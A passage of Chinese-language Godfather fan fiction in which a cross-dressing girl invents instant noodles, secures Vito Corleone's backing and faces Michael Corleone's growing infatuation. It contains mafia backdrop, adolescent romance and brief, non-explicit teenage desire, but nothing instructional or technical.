迈克尔头一次发现自己竟然有这样的说服力,好像沃特不过是一颗面团,由他随意掌控。后面的事情顺理成章,沃特顺利搞来了笼屉,他把从弗雷多那里弄来的旧彩票条给了对方,连带十美金作为感谢。这之后,他在学校里莫名受欢迎起来,许多男生会主动和他打招呼。但他不甚在意,一心只想受家里那小鬼的欢迎。
等真正参与进艾波的试验,迈克尔才意识到这绝不是空穴来风。她有一本厚厚的本子,详细记录了进度。为了调试配方,她会在做礼拜主妇们齐聚的日子,甜甜地问各家意大利面制作配比,也会拜访唐人街的老人,询问拉面的水碱比。
碱,是的,一段时间的忙碌以及偶尔整理笔记,迈克尔连这个中文字都认识了。程乔义家里有生意要忙,于是大多时候,他堂而皇之地占据艾波身后第一个位置,做他的助手。
正因如此,他得以见证她的成功。
那晚已经失败了三次,干瘪油腻的面饼被砸碎收进罐子里,作为第二天全家的早餐麦片粥替代。这种面糊状的东西,他们已经吃了两周,再继续下去,迈克尔认为桑尼总有一天要去桑德拉家吃早餐。
迈克尔不知道是什么指引着艾波,好像她面前不远不近的位置就有一颗闪耀的答案,只要他努力够一够,就能得到。
对他来说,实验成功与否毫无意义。他只想找一切机会欣赏、亲近艾波。甚至于,他巴不得实验永无结果,久到程乔义再也装不下去,这样他就能和艾波说,“瞧,我一直在这儿。”
事实和迈克尔期盼得不一样——那油炸后明显比先前几块丰盈不少的面饼,在滚水浸泡三分钟后,以另一种截然不同的柔软状态,舒展地浮在碗里
这算什么?奇迹吗?
迈克尔嘴里嚼着面,看向他。疲惫的面庞,依然蕴藏着某种笃定的力量,好像在说:答案就在那里,我知道、我得到。
这一刻,艾波那棕中带紫的眼睛,微微上翘的鼻尖,瘦削的脸蛋,在他的视野里都变得虚茫起来,取而代之的是一个灵魂,一个发光的灵魂。
13.Chapter13
1935年复活节这天,照例是大聚餐。
自早晨教堂弥撒回来,科里昂家的大门敞开,宾客络绎不绝。每一位牵着老婆孩子来拜访的意大利人手里总带了东西,科里昂夫人微笑着道谢。
长方形的桌子几乎要堆不下:堪比卡车轮胎大的凝脂奶油麦芽派摆在正中,前边是垒成金字塔的奶油甜馅煎饼卷,后头则是金灿灿的烤火鸡,三个大盘占据主位,剩下的缝隙里填了魔鬼蛋、小饼干、鸽子面包……
艾波瞧了瞧,干泡面饼在里面实在不算显眼。
那天成功之后,又经过多次调试,泡面的配方确定下来,现在能稳定产出相同颜色、质量、口感的面条了。不仅如此,她还制配了番茄牛腩、红烧牛肉、咖喱鸡肉三种口味,分别对应酸甜口的基本盘、咸辣口的中层白领市场以及博眼球的宣传点。她都想好了,到时候可以假扮印度、东南亚人给报社投稿,吐槽该泡面口味的不正宗,把热度炒起来。
项目立起来了,现在的关健是拉投资。
唐人街两大堂口的资金都汇回国内支持战事,没有余钱置业设厂,而她一个小学生,家当扣扣搜搜也翻不出十美元。只能找万能的教父了。
仅为友谊而送来美食美酒的宾客并未久留,闲聊几句、吃几块饼干便离开了。饶是如此,起居室里仍旧热闹非凡。
家具全推到靠墙边,留出中间云母灯照亮的空地作为舞池,灯的正下方立着一支麦克风。维多.科里昂那位上帝亲吻过喉咙的教子——尼诺.瓦伦蒂嘴贴话筒,唱着西西里小调。
“约翰尼怎么没有来?”
另一位客人回答:“他现在算是歌星了,哪有那么多时间来。”
“那也得来看看他的教父呀。”
“谁知道呢?”那人摊摊手。
相比他们的轻松,书房门口几位客人看起来紧张许多了。端着酒杯,无意识地咀嚼用作解酒的面包。
艾波目光一一扫过他们,不免走神想着自己的神情是否也和他们一样忐忑。
“别担心,”少年的声音突然出现,安慰道,“大家一定喜欢你的面。”
艾波回神,不可置否地点头。这家伙总是跟着她,东问西的。刚才程乔义给她送面饼和酱料包,他见了也满肚子疑问。彼时她正思索方案细节,随口敷衍想趁着人多让大家试吃评价。他竟然信了,不迭地接过,又递给对方一篮不知谁送的泡芙,连门都没让乔义进。好在乔义素来懂她心思,东西送到、隔空一点头,便拎着复活节礼物走了。
迈克尔又问:“要烧水吗?”
艾波转头打量他,白衬衫、背带裤,黑亮的大眼睛,跃跃欲试地看着她,好像只要她吩咐一声,他立刻会执行。她无奈:“暂时不用。”
“好吧,”他说起另一桩事,“对了,下周末弗雷多想去钓鱼,在布鲁克林那边,你想要去吗?他搞到了新鱼竿,旧的可以给我们用。”
要是她从教父这里借到钱,下周保准没空,要是没借到钱,那她应该也没闲心钓鱼。她实话实说:“没什么空,你去玩吧。”
“算了,我也不去了。”
艾波估摸着时间,目光凝在尽头书房的门把手上,一心二用地问:“为什么?钓鱼很有趣呀,弗雷多一定也想你陪他。”
迈克尔沉默了。她听到他呼了几口气,却愣是没有说出话来,便当他默认这个说法了。
黄铜的门把手终于动了,紧接着詹科.阿班丹多从门里出来,视线越过等在走廊里的求助者,落在她的身上,“阿波罗.维太里。”
艾波站起来,在一众人好奇疑惑的目光里小跑着进入房间。
熟悉的房间布置,半年前她在这里参与了科里昂菠菜帝国的构建,现在她的要求远比它艰难得多。维多.科里昂站在大书桌前整理领带,看到她进来,不由咧嘴笑问:“你来做什么?”
他拿起放在角落里的可乐,用开瓶器扣开,泡沫消失后给斟了一杯放在她面前。“你离合法饮酒还差十一年,先喝这个吧。”他问去关门的军师,“詹科,要来点糖水吗?”
“好啊。”阿班丹多找了只空酒杯接剩下半瓶可乐。
艾波自然听懂维多.科里昂在说她只是个乳臭未干、只知道喝糖水的小孩子,最好她打退堂鼓,及时放弃所谓的计划。
一饮而尽可乐,并重重地打了一个嗝,艾波才用自己平常的嗓音和语气说:“实业总是来钱慢。华尔街的大人物光鲜亮丽,西装笔挺地就能把钱赚到手。我们这些黑皮黄皮呢?总是卖苦力气,什么卡车司机、码头工人、餐馆老板,赚的钱转头就被各种人、各种明目抽走。”
像是抱怨糖不好吃的孩子,在座的大人们却没有打断。
艾波继续说:“全球局势动荡不安,世界大战即将、不,是已经打响,从西欧到远东,战火早已绵延千里。这世间有两种东西最赚钱——法律禁止的、战争背景下的。前面一块蛋糕,在禁酒令时期我们已经享用过了,后一块,我想我们该尝尝。”
“我知道,我知道,你们有的是吃这块蛋糕的手段——黑市走私、牵头私企和军方合同、逃兵役……”
阿班丹多越听眉头越皱,到最后直接看向唐,希望他斥责她的不逊之言。然而,维多.科里昂不置一词,黑沉沉地望着她。
艾波耸耸肩:“太阳底下无新鲜事,总是这些发财办法。只是,伟大的唐,您真的希望家族这样往前走吗?走私贩、皮条客、掮客……大人物随便一句话就能把科里昂掀下船。”
第一次看清维多.科里昂的野望是在得知汤姆.黑根的职业选择,让桑蒂诺最要好的兄弟当律师,无疑预见到兔死狗烹的未来,想给家族添个保障。
“投资你的合法生意难道就有保障了?”科里昂淡淡反问。
研究泡面的动静这么大,艾波本也没想能蛮过教父。她自信承认:“对。首先这个产品不愁卖,市场会给它折服。其次,也是我最想说的,我们并不是直接经营它,而是和唐人街一起成立商业集团,对它进行控股,有效规避风险的同时,还能闷声发大财。倒是我们可以用这些钱资助桑蒂诺、弗雷多或者迈克尔的孩子搞选票,变成亚当斯那样的家族。”
听到这里,科里昂笑了。“说得倒是好听,我算是知道你跟在那些教士身边都学到了什么,净是拿捏欲望了。”
艾波再次耸肩:“实话而已。”
科里昂摆摆手,示意她别装腔作势了,“钱我可以借给你,甚至你无须和我汇报具体用法。但有两点命令你要遵守。第一,我要你控制唐人街,什么协胜堂、安良堂,都只能是你权力的延伸,我信任你,可不等于信任东方人。第二,不许让迈克尔牵涉其中。你刚才说得确实不错,我想让孩子们上岸成为大人物,桑蒂诺这小子脾气急躁,我看他连纽约局长都玩不过;弗雷多性格是不错但缺少判断力,别人都不用勾引他,估计就自己栽进陷阱里了;只有迈克尔,还有点希望……这两点,成交吗?”
“当然成交!”第一点本就是艾波想做的,她要借由程乔义将整个华人手里捏合成一团,自然不能有其他力量。至于第二点,无伤大雅。
艾波将现写的支票揣进兜里,阿班丹多打开房门,她正准备迈步出去,忽然玩心大起,转身走向往酒杯里斟苦艾酒的科里昂先生。
她在高大的唐面前站定。
维多不明所以地看向她,“这你真不能喝”
话还没说完,艾波已经郑重
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地托起他的右手,在自己虎口附近落下一个恭敬的吻。
“唐.科里昂。”
维多反应过来,用另外一只手揉揉她的脑袋,失笑道:“干活去吧,明年复活节争取把你爸妈接来。”
*
迈克尔有记忆以来,家里的复活节一年比一年热闹,街坊四邻乃至一些身着高档西服的男人来到家里,带来大量的食物和欢笑,并且离开之前还会帮忙把家里的一切收拾干净。
但他没想到程乔义也来了。这是西方人的节日,和中国人有什么关系?迈克尔怀疑他就是想要借机接近艾波,该直接把他丢出去的,但为了维护艾波心里成熟善良理智体贴的哥哥形象,迈克尔还是说了这事儿。
“哦,我让乔义送泡面来的,你知道的呀,我们做的那些成品都放在程记后厨仓库里。我想让大家尝尝啦,给写看法和改进意见之类的。”艾波这样回答,嗓音像是跳跃的小音符,实在可爱。
“原来如此,辛苦你了,乔义。”迈克尔随手领起门边的一篮礼物递过去,都不知道是什么东西,反正不会太差,挥手告别,“复活节快乐!下次见!”
轻松打发中国人,迈克尔同艾波一道坐在起居室的角落,默默呼吸着他身上那股好闻的气味。他发现艾波右耳朵上面、靠近耳廓的位置有一颗小痣,仿佛上帝不经意的墨点,可爱地缀在那里,让他的眼睛总是不听话地飘过去。
为什么他会对一颗痣那么感兴趣呢?那只是一颗普通的痣,任何人身上都有。可迈克尔就是觉得看不够,想要凑近看,近到鼻尖触上它、近到嘴唇贴上它……
“月亮落到海中间啦,妈妈咪呀,我必须结婚啦……”
歌声骤然响起,迈克尔吓了一跳。
“如果我给你找个鞋匠……”
不知道是不是他心里有鬼,以往每年都唱的民谣忽然变得露骨而色情,每一个词都充满了性暗示。什么铁锤进出、捶打……迈克尔掐了自己大腿一下,为了转移注意力,开始和艾波没话找话。
弗雷多早就说想去钓鱼了,只不过每周都耽搁,迈克尔知道要是自己提出来,算上弗雷多那一票,妈妈多半会同意。他想得很美,等待鱼上钩的时候,他可以和艾波聊聊天,五月的海风总是有些冷,他还能握住艾波的小手、给他取暖。
然而美好的幻想中止在艾波那一句为什么,为什么他不去他就不去了?答案很简单,就在舌尖,就在每天见到他的时刻——他喜欢艾波。
可是真到了紧要关头,舌头像被恶毒的女巫施了咒术,愣是一个字都吐不出。
懦夫!望着艾波消失在书房门后的背影,迈克尔在心里大骂。
等艾波出来的时间里,迈克尔打起了腹稿。他要用得体而不吓着艾波的方式表达喜爱之情。他只是想要做一个好哥哥,让他开心、长久地陪伴在他身边。
如果,迈克尔想,如果有朝一日艾波遇到心爱的女孩,他一定会给他们送上最真挚的祝福,并愿意做他们孩子的教父。这是男人之间最牢固的关系了。正如彼得是他的教父、也是父亲最倚重的人。
他要成为艾波最倚重的人。他当然会成为艾波最倚重的人。
下定了决心,迈克尔走到书房门口,准备等他一出来就和他说这些男人间的承诺。
门很快开了,他看见艾波在他的父亲面前,珍重地双手捧起大手,仿佛对待掌握生杀大权的古代帝王般恭敬,微垂着头颅,吻得虔诚且忠诚。
这一刻,世界仿佛混乱的颜料,混沌地搅和在一起,形成一个黑洞般的漩涡,迈克尔不知道该如何处理——他竟然在嫉妒父亲,竟然想要取而代之……简直大逆不道。
他默默走进卧室,脸埋进枕头。
14.Chapter14
投资要到,接下来自然是给投资人们尝尝产品啦!
艾波直奔厨房,搬来小矮凳站上去,伸手够摆在四眼灶台内侧的烧水壶。等够到把手,拎着水壶跳下来,她拖着矮凳去水池边,踩高高接水。太矮了,没办法。
“你怎么自己烧水?”卡梅拉.科里昂手捧九寸的苹果派,脸上犹带着应酬的笑,“迈克尔呢?”
艾波不甚在意迈克尔的去向,甚至刚刚出来没瞧见他,下意识松了一口气,就怕他问东问西。
一手托着水壶底接水,另一手放在龙头旋钮上,准备一满就拧到关闭、不浪费一点水,她猜测道:“可能找弗雷多去了吧。”
“好吧。”做母亲的也不在意,找空位搁好苹果派,强行拿过艾波手上的水壶,搁上灶眼,用西西里语教育她:“在你长得够高之前,不能单独操作瓦斯炉,知道吗!”
艾波立刻端正态度:“遵命!女士!”
立正行礼一气呵成。
“小东西,”卡梅拉忍俊不禁,再也装不了严肃家长,好奇问她,“又要做神奇面条了吗?”
“对呀!”艾波用力点头,“你要尝尝吗?最终版!”
“好啊。”
之前调试酱料时请卡梅拉品尝过,她给出了相当不错的意见——“番茄牛腩味得减少香料,不然意大利人会因为这个打起来”——艾波这才真正意识到意大利人对食物古板到近乎虔诚,以前小意大利区经常有人为肉酱面先放洋葱还是大蒜吵起来。
等水烧开的功夫,艾波说起改进后的配方:“现在的版本酱汁除了两种番茄外,只用了大蒜、洋葱和一点点的胡萝卜,香料只有黑胡椒和月桂叶。”
卡梅拉点点头,又问:“怎么储存呢?”
“这就是我犯难的地方,”艾波挠头,“装进小铁罐随面售卖会增加成本,单独作为佐餐酱料贩卖就变成单卖面饼的了,唉……”
“单卖面饼也很不错呀,”卡梅拉俏皮地眨眨眼,“我有时候恨不得十分钟就做完晚饭,把你们塞饱。”
“可五十美分一份,难道不会太贵吗?”艾波问。这是目前定价,利润在百分之三十左右,不能再低了。等她和安良堂苏清福在波士顿学机械的侄子落实流水线的设计稿后,成本会进一步降低,但不是后厨小作坊的现阶段。
卡梅拉笑:“小家伙,想要偷懒的主妇总是不差这点钱的。而且,这五十美分里有酱料的成本吧,可以试试卖一家人一顿的量、附送一份酱料吗?”
话还没说完,更多细节自动出现在艾波脑海,她猛拍脑袋:“太对了!卡梅拉!您是天才!”
是她钻牛角尖了,一门心思想复刻单包方便面,其实像麻辣烫店那样的量贩装更容易打开市场。而且着眼于主妇市场也很妙,试想一下,岁月变迁,十年二十年乃至五十年之后,吃泡面长大的孩子垂垂老矣,他们会用松脱的牙床咀嚼泡面,说这是妈妈的味道。销量不愁不常青。
思索间,水壶声嘶力竭地尖叫起来,艾波连忙放下这堪比广告画面的联想,把各叠着面饼的三个大碗摆上料理台。
“等等,”她阻止卡梅拉倒开水的动作,手指从面饼与碗壁的间隙夹出牛皮纸小包,“这里面有烘干的莴苣叶碎、胡萝卜碎和盐的混合物,需要一起泡。”
红红绿绿的碎屑仿佛圣诞节的礼花炮,洋洋洒洒地飘落在淡黄面饼。下一刻,冒着热气的水柱浇了上去,细小的水花四溅,水面逐渐上升,缓缓漫过面饼。
餐盘依次盖上大碗,艾波比了个手势:“三分钟。”
“三分钟。只需要三分钟,您和您的家人就能得到一份美味的面条。无需更多食材,无需更多精力,您可以把更多的时间放在陪伴丈夫、鉴赏时装。三分钟面条,开启晚餐新纪元。”
1937年,该则广告横空出世,旧金山、洛杉矶、芝加哥、费城、迈阿密,从西到东、由北至南,三分钟面条一举成为当年最热门的产品。
同一年,曼哈顿的爱尔兰帮对科里昂家族发动最后的攻击,一名疯狗似的枪手越过重重纽扣人,当着巡警的面冲唐.科里昂开枪。
科里昂家族头领中弹,好在子弹偏了几寸,未伤及要害。静养期间,桑蒂诺.科里昂组建起一支二十人小队,以绝对的冷酷无情对爱尔兰帮派展开绞杀。
到了1939年,尘埃落定,纪律委员会第二次召开,全美的黑手党齐聚纽约,桑蒂诺作为副手陪伴父亲出席,壮实憨厚的外貌、狠辣老练的作风,无人敢小瞧科里昂家族。
艾波呢?她将近十四岁,上个月来了初潮,正思考要不要换回女装。
好处是不需要穿弹力背心;坏处是她可能被科里昂家的决策层排除在外,这时代的女孩独自出入赌场、簿记点等地方还是过于显眼,容易被人记住。
至于手底下人因此不听话?这不在考虑因素里。
不是作为代理人的程乔义有多牛,纯粹是她的拳头够硬。上辈子父亲的武馆除了强身健骨的八段锦、五禽戏之流,最负盛名的就是所谓的格斗技,肘击、掏裆、鞭踹……直冲要害去,手收着力气打,都能让对方疼个几天。艾波本来力气就大,又和跟着舞狮队熬打筋骨,收拾几个反骨仔轻而易举。
四年的时间,一如维多.科里昂期盼地那样,她得到了唐人街,更拥有了全美乃至全球首家泡面工厂。它像是一头勤恳的奶牛,大口大口大吞进面粉,产出无数块面饼销往各地,这些金黄的面饼又卡拉卡拉地变成绿油油的美钞,填充进股东的账户。
泡面厂除开科里昂,另一个股东是华侨互助协会,该组织由两堂牵头,以技术、人力入股,拥有百分之四十二的股份,所赚资金尽数支持抗战。
艾波不敢奢求尽早结束战争,时代洪流在此,她无力改变。她只希望寄回去的物资让更多的孩子活下来,女人有力气多跑几步,士兵多坚持一分钟哪怕一秒钟。
东方的故乡战火纷飞,西方的老家也没有好到哪里去。四月墨索里尼政权率军入侵阿尔巴尼亚,五月德意联盟形成。前年农闲的时候,维太里爸爸来纽约过一趟,她要求他带来妈妈姐姐哥哥们,他却以生活不习惯为由拒绝了。其实以他们家的经济基础早在她出生那一年就能偷渡来美国。之所以没有行动,无非是乡土两字。
爸爸当时这么说:“我老实和你说,不用担心我们,你姐姐看上了山里的土匪。虽然是土匪,但我看他有点出息,具体情况你姐姐写在这封信里了,你看完就处理掉吧。”
于是,艾波汇款对象又多了一个。
时间回到现在,这是科里昂家搬到长滩的第二个周六,弗雷多在一英里外的小码头钓鱼,康妮去城里找小姐妹玩儿,黑根在律所加班顺便接送她。维多和卡梅拉在院子里晒太阳、陪客人约翰尼.方坦,自从37年科里昂帮这位歌星解决了合同问题,原本渐行渐远的教子走回正轨,时常周末前来探望教父。桑蒂诺在隔壁别墅陪新婚妻子桑德拉,他们年初订婚,上个月在老公寓举行小而精致的意大利移民婚礼,场面极为低调。
所有人都有事情做,除了迈克尔.科里昂。
“你去哪里了。”
艾波看向拦在面前的男孩,瘦高的身材、清秀的长相、白细的肌肤、黑亮的眼眸,让人无端想到脆嫩的西芹,健康、干净。
“去跑步了。”她回答。
身体进入青春期,不用担心跑伤,艾波慢慢捡起长跑的爱好,刚刚沿着绿荫道来回跑了半小时,身上出汗黏糊糊的,现在只想上楼洗澡。
迈克尔却没有放过她,视线落在她的手上:“这个是谁给的?”
那是一提棉绳串起来的粽子,她拎起来给他看:“这周就是端午节了,程太太包了不少粽子,乔义送来的,我们碰巧在路口遇见了。”
迈克尔微微前倾身体,认真打量那串粽子,仿佛那里面藏着宇宙的究极奥秘,然后转过头,看着她的眼睛,蓦地扯出一抹古怪的笑:“他对你可真好。”
这人怎么这么奇怪。她感觉越来越看不懂他了,这些年她一直遵守科里昂先生的要求,没让迈克尔知晓唐人街或是接触泡面的生意,和他保持足够友好但不热络的关系,偶尔一起散步、打球、看电影,可以说这年头亲兄弟也就这样相处了吧。结果他呢?脾
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气好一阵坏一阵,活脱脱青春期变扭少年。
艾波没吭声,绕过他往厨房走去。路过花园时,约翰尼看到她了,抬手打了个招呼。
“约翰尼可真受欢迎,电台估计至少有五千万少女喜欢他。”迈克尔冷不丁开口。
真是哪壶不开提哪壶。艾波随口应付:“是吗?”
“当然,”迈克尔说,“他风度翩翩、相貌英俊、孔武有力,这才是真正的男人,是我们该学习的榜样。不像程乔义,看起来就是小白脸。”
这几年相处,她算是看出来,这家伙护短得很,对家里每个人都管得很牢,有人在背后嘲笑弗雷多,他竟然找人揍了对方一顿。手段隐秘,对方都不知道谁下的手。这件事还是克莱门扎告诉她的。对于乔义这位声名鹊起的唐人街总把头,迈克尔表现出十足的戒心,总是担心她和他一起玩会遇到危险或是被带坏之类的。
试想一下,要是汤姆整天和爱尔兰帮或是德国移民玩在一起,她也会认为对方居心不良,值得警惕。
可是,理解归理解,艾波可不想惯着。程乔义是她最好的朋友。
她扯起唇角讥讽:“男人?相比乔义,我觉得你还是担心担心自己吧。我听弗雷多说,你下面到现在都软得像面团。”
*
他怎么敢?!他怎么敢这么说?
迈克尔从没有感受过这种侮辱,太阳穴突突地跳,视野怒到泛起不可名状的光弧,脑袋乱得仿佛一大群醉汉流氓肆无忌惮地踩过他的人格,留下一地烟头垃圾。
他想要大骂,想要找出一百种措辞回击,想要攻击他的脸蛋和身高。可他的嗓子突然堵住了,辱骂的字眼卡在嗓子眼,痛苦不堪地塞在那里。
“你……我…”
唉真丢人。
伤到他自尊的坏男孩耸耸肩:“看来确实是这样。”
他看着艾波满不在乎地提着那串东方食物走向厨房,后厨门开着,六月灿烂的阳光和婆娑树影装在门框组成的方块里,那小但挺拔的背影逐渐变小,在夏日风景与室内灰暗环境间游移。
他要证明给他看。
一阵热血冲破桎梏,迈克尔听到自己对那个背影嚷道,“我要好好教训你,好好揍你一顿。”
没错,揍艾波一顿。迈克尔想,他就该这么做。
屋子忽然寂静,艾波停下脚步,转身打量了他半晌,最终点点头:“不错的提议。你想去哪里打?”
哪怕在这个时刻,迈克尔依然走神想着她颔首的样子真好看,自信且笃定,无疑最迷人。
决斗的场地安置在花园,桑尼也来凑热闹,揽着桑德拉站在父母身后,一个劲儿替艾波加油。
看来桑尼也知道艾波打不过他,毕竟他们之间相差三岁,他等下一定会让让艾波,不会当他输得太难看。
这样想着,明亮的日光、咸涩的海风,艾波站到了他的对面。
一声不吭,那双棕中带紫的眼睛直勾勾地看着他。看得他心跳加速,仿佛要跳出胸腔,手心微微汗湿,说不清是即将开战的紧张,还是仅被她凝望的激动。
约翰尼不知道从哪里掏出一架三角铁,只听叮地一声,比赛开始。
“放心,我会让你的。”迈克尔笑道。
接下来的一切,快得过于不真实。他的手被他拉住,没等肌肤相触的狂喜冲入大脑,他被一股巨力掀翻在地。
空气死一般安静。
母亲和约翰尼眼睛瞪大,和他一样,像是忘记拧紧发条的机器人,直愣愣地看着;桑尼好像早有预见般在憋笑,脸涨得紫红;父亲素来严肃的面容,此刻竟然透着…失望?
至于艾波,蓝天白云支配衬托他的张扬肆意,光环般萦绕在他背后。他伸出手,咧嘴笑道:“我是不是比你更男人?”
可能是吧。迈克尔不知道。他满脑子都是被掀翻时从传来的温热触感,空气中激荡着柠檬、葡萄、柑橘般的馥郁气味。甚至还有艾波微粉红的面颊、黏腻打卷儿的发丝。
当晚,那一瞬间不断重演,增加了羞耻的喘息、细碎的闷哼,以及四年前便种进心里的亲吻……
15.Chapter15
第二天早起弥撒,夏日朝阳穿过树荫,照得停车场路面的碎石子璀璨闪亮,艾波却没有在弗雷多身旁看到迈克尔.科里昂。
这还只是个开始,周一、周二、周三的早餐晚餐,他都没有出现。在他第二次缺席晚餐,卡梅拉稍微担心,维多轻描淡写地表示不用管他。大家长发话,全家也就对此视若无睹了。
明明生活在同一个屋檐下,却像平行的线,她和他并不接触。
餐桌上没人抢先给她递盐罐、黄油;骑车回家,在后院停车时,也没人准时从厨房后门冒出来,捏捏轮胎,以检查自行车的名义和她没话找话;更没有人站在放有两杯热牛奶的岛台后面,说着睡前喝牛奶的好处,别扭地等她喝完后说的那句谢谢。
这算什么?闹脾气?
艾波说服自己,这样很清净,她不是真正的缺爱青春期小姑娘,不需要一个时刻关心自己的哥哥好彰显存在感。
但是,晨光未明的时刻,望着楼下院门口那个瘦高的背影,艾波不仅没松了一口气,反而有了一丝丝愧疚。
等等,愧疚?
她回过神来,凭什么她要愧疚,不自量力下挑战书的人是他,他当时说什么来着?要好好教训她、好好揍她一顿?活该被揍翻。
这么想着艾波钻回被窝,薄被蒙上脑袋继续睡觉,可黑暗里,晨光朦胧着的那个背影始终挥之不去。
五分钟后,她猛地坐起来。
“该死的!真讨厌!”她骂骂咧咧地下床,边换衣服边恶狠狠咬牙,“你可真是好样的,迈克尔.科里昂。”
竟然用这种方式来报复。她一定要再揍他一顿,这回她不打算用过肩摔,要正面出击,上步掌抢到他面前,直击胸门,打得他摔出去。
这样想着,她进盥洗室洗漱,瞥见镜子里头的小孩,抿唇皱眉,咬牙切齿的样子一点都不好看。中等身高,深棕近黑的短发打着卷儿,下颌尖削,两颊有一层薄薄的婴儿肥,看上去稚气未消。
对面的小孩眉目舒展的时候,活脱脱全世界最好看的小姑娘。艾波不无自恋地想。
这么欣赏了一会儿,她的气也消了。对啊,她干嘛非要和他一般见识呢?逃避和生闷气解决不了问题,相反她要让他见识一下成年人的油腻,好好谈谈心。
于是这天饭后,艾波卡拉卡拉地磨起咖啡豆。
“晚上有夜活?”弗雷多从她面前的果盘里拣一颗小番茄,“要送你去吗?”
全名为弗雷德里克.科里昂的弗雷多高中毕业也步大哥的后尘,进入家族生意,接替桑尼之前的工作,给父亲做做司机、拿拿大衣,驾驶技术娴熟,所以才说可以送她出门。
“没有活。”艾波拉开磨豆机的小抽屉,把粉料倒进摩卡壶的粉碗,拧紧上壶,把它放上灶台才继续说:“我想和迈克谈谈,你也看到了,这家伙这几天起早贪黑,不熬夜都抓不住他。”
弗雷多咯咯笑起来,捞了一把番茄,边吃边说:“他这几天确实有些烦恼。”
“哦?”艾波拧开瓦斯开关,“是因为被我揍了?”
弗雷多又笑了一声,这次,艾波听出来一丝促狭。
“告诉你也没事,反正你也快了,”他满不在乎地嚼着番茄,“这家伙终于变成男子汉了,妈妈每天都要给他洗床单。”
嗯???所以不是自尊心受损,是青春期的烦恼?那也不至于避开全家啊。艾波猜测:“所以没脸见我们?”
弗雷多摊手:“这我就不知道了。”
好吧。再迟些时候,所有人都睡下了,壁灯黄澄澄地投下光,艾波坐进外起居室的单人沙发,手捧热拿铁,有一搭没一搭地翻看报纸。
她坐的位置很好,既能透过玻璃窗瞧见院子,又能窥见两重门框后门的房屋大门。
近午夜时分,一辆二手的福特轿车仿佛老旧的蒸汽机,酷隆隆地在院门口停下,纽扣人压根儿没从岗亭出来就开门放行,这车停在水银灯照不到的墙根,过了七八分钟,家门无声无息地开启。
“爸”那人似乎没有想到坐着的是她,明显愣了好几秒,才干巴巴地说,“晚安艾波。”
在他打过招呼、准备刺溜迈上楼梯前,艾波叫住他:“迈克,我们能聊聊吗?”
“聊什么?”隔着两重门以及昏暗的光线,他脸上的戒备依然清晰可见。
“谈谈人生?另外——”艾波合拢报纸,快步走到他面前,“虽然这么说有点像炫耀,但我为那天侮辱你的行为感到抱歉。”
黑暗里的少年嘴唇紧抿,定定地注视她。
她握上他垂在身侧的手,想要拉他去起居室坐下聊,“拜托拜托,像原谅弗雷多、桑尼一样原谅我吧。”
他纹丝不动,垂下眼眸,“是爸爸让你来的吗?”
唔,好像搬出维多更有用?
思索一瞬,艾波还是实话实说:“你这几天老是不出现,大家都很担心。虽然维多说不用管你,但我觉得和我有些关系。我想要纠正它。”让我们和之前一样相处
这话还没说完,艾波察觉到他紧绷着的身躯、连带着他的手哆嗦了一下,早上的想象一下子浮现,连忙松开他的右手,后退一步心虚解释:“我不是要再揍你一顿的意思。”
他低下头:“你不需要我的原谅。我永远无条件接受你。”
“真的吗?不是在说气话?”艾波狐疑地看向他。
“绝对不是,”迈克尔深吸一口气,像是冬季全家去新泽西打猎时,花了一下午寻找,终于瞄准灌木丛和雪后的松鸡,准备扣下扳机般。他重新伸出手握住她,说:“阿波罗,这话我从没有对你说过,但我爱你。哪怕这些年你将我排除在你们的小团体、大事业之外,我也爱你。因为你就是你。”
这家伙怎么突然这么煽情,搞得她都不好意思了。艾波也回握住他的手,扬起笑:“我也爱你们,迈克,我的家人。”
少年目光从她的脸上移开,转向暗处,让他的面庞看起来有些晦涩。他仿佛诵念、仿佛叹息般说道:“我比桑尼、弗雷多更好,更值得你的信任。任何苦闷、烦恼你都可以告诉我,我想成为你的垃圾桶,想成为你的依靠。”
好一招以退为进。要不是刚才那句小团体、大事业漏了些端倪,艾波都以为他放弃干涉她交友了。
心里暗啐一句小狐狸,她撑起一个勉强的笑,暗怀希望地问:“真的吗?”
“是,”他立刻察觉到不对劲,担忧地握紧她的手,“怎么了?”
“唔…迈克,我不知道该不该说……”
“艾波,”迈克尔打断她,“你可以告诉我任何事。”
“可……”
这回轮到迈克尔牵着她往沙发走,“艾波,我值得你相信。”
“好吧,”艾波顺从地跟他来到长沙发坐下,“迈克,我再次为那天的言辞抱歉。你现在已经是和桑尼汤姆弗雷多一样的大男孩了,应该也知道对异性的渴望。”
“咳,”迈克尔不自在地清清嗓子,“你很快也能这样了。姑娘的屁股、胸脯总是很迷人,如果你有喜欢的……”
“她们的身体当然迷人,曲线优美。”艾波叹了口气,“可我更喜欢另一种线条,坚实、硬朗,充满力量。”
壁灯下的少年像是听懂了又像是没有听懂,整个人如同雕塑般凝固在光里,又像是屠宰场的肉牛,等待眉心那终结一锤。
她憋着笑继续:“迈克,我喜欢男人。这一点,你的父亲,维多.科里昂也知道。他以绝对的广博胸怀接纳了我,我很感激。”
维多当然知道。她前天傍晚和唐提出性别和衣着的问题,他给出的意见十分切合实际,建议她暂时不更换性别,等读高中了他重新找人给她做一份女孩的入学证明,省得在初中里遇到不必要的麻烦。
“我想,你该猜到了,我和乔义要好的原因。”仿佛兴致所至起的一局弈,落下了最终一子,她慢吞吞问:“你能接受这样的我吗?”
*
凌晨,迈克尔汗涔涔地惊醒,再一次地。
身体像是发烧,浑身烫得不像话,更可怕的是脑子里残留的画面,梦境里暧昧地贴合、难以言明的柔软,随着时间的推移,不仅没有平息,反而愈演愈烈。
他梦见自己抱住了对方,不容拒绝地捏住下颌,舔舐耳朵,吸吮唇瓣……然后他就醒了,照例一片泥泞。
桑尼派人搬了一箱子泳装杂志放进他房间,弗雷德安慰他这是正常的。可迈克尔清楚这根本不正常,因为所有仍由他亲吻的人,都有一张艾波的脸……他甚至梦见和他在旷野中唯一一棵橄榄树下做.爱,天蓝得剔透,他们的纠缠肆无忌惮。
迈克尔痛苦地捂住脸,这让他怎么面对那个小鬼,直视那双剔透闪亮的眼睛。<
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他爱他,但这不代表是这种令人恶心反胃的爱。
在迈克尔的规划里,他只是希望在艾波身边有一席之地,不、如此说过于谦逊了。他希望得到艾波的一切好感,喜爱、爱慕乃至爱戴,要做到这一点,光取代父亲可不够。他得掌握更高阶的权力。
不知不觉中,曾经想教师、职员和学者的迈克尔变了,变得贪婪而冷漠,开始有意无意地和特定家世的同学结交,精准衡量他们的价值以图后用,同时不忘在家族势力范围内给老师行方便,来获得考试成绩之外的高分。
